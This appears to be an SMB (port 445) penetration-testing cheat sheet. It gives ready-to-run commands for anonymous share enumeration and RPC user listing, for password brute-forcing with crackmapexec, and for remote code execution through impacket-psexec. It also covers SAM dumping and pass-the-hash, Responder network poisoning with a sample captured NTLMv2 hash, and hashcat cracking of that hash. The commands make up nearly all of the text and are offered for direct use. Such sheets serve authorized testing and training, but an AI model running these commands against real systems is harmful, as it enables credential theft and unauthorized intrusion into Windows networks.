SMB (445)

Anonymous Sessions

terminal
$ smbclient -N -L //<IP>
To list recursively.
terminal
$ smbclient -N -L -r //<IP>
To download or upload files.
terminal
$ smbmap -H <IP> --download "<ruta>"$ smbmap -H <IP> --upload "<archivo>" "<ruta>"

RpcClient

terminal
rpcclient -U '%' <IP>rpcclient $> enumdomusersrpcclient $> queryuser <RID>rpcclient $> enumdomgroupsrpcclient $> netshareenumrpcclient $> getdompwinfo

Enum4Linux

terminal
$ ./enum4linux-ng.py <IP> -A -C

Brute Force

It is recommended to use the Metasploit smb/login module. Also use crackmapexec (if there is !$ or another symbol in the password list, these characters must be escaped).
terminal
$ crackmapexec smb <IP> -u userlist.txt -p 'password123'

Advanced Attacks (RCE)

PSExec

terminal
impacket-psexec administrator:'Password123!'@10.10.110.17

Crackmapexec

terminal
$ crackmapexec smb 10.10.110.0/24 -u administrator -p 'Password123!' --loggedon-users$ crackmapexec smb 10.10.110.17 -u administrator -p 'Password123!' --sam$ crackmapexec smb 10.10.110.17 -u Administrator -H 2B576ACBE6BCFDA7294D6BD18041B8FE

Responder

Poisons the network and captures hashes.
terminal
responder -I <interface>
txt
[SMB] NTLMv2-SSP Username: WIN7BOX\demouser
[SMB] NTLMv2-SSP Hash: demouser::WIN7BOX:997b18cc61099ba2:3CC46296B0CCFC7A231D918AE1DAE521:010100...
We could not use PtH, but we can crack them.
terminal
$ hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt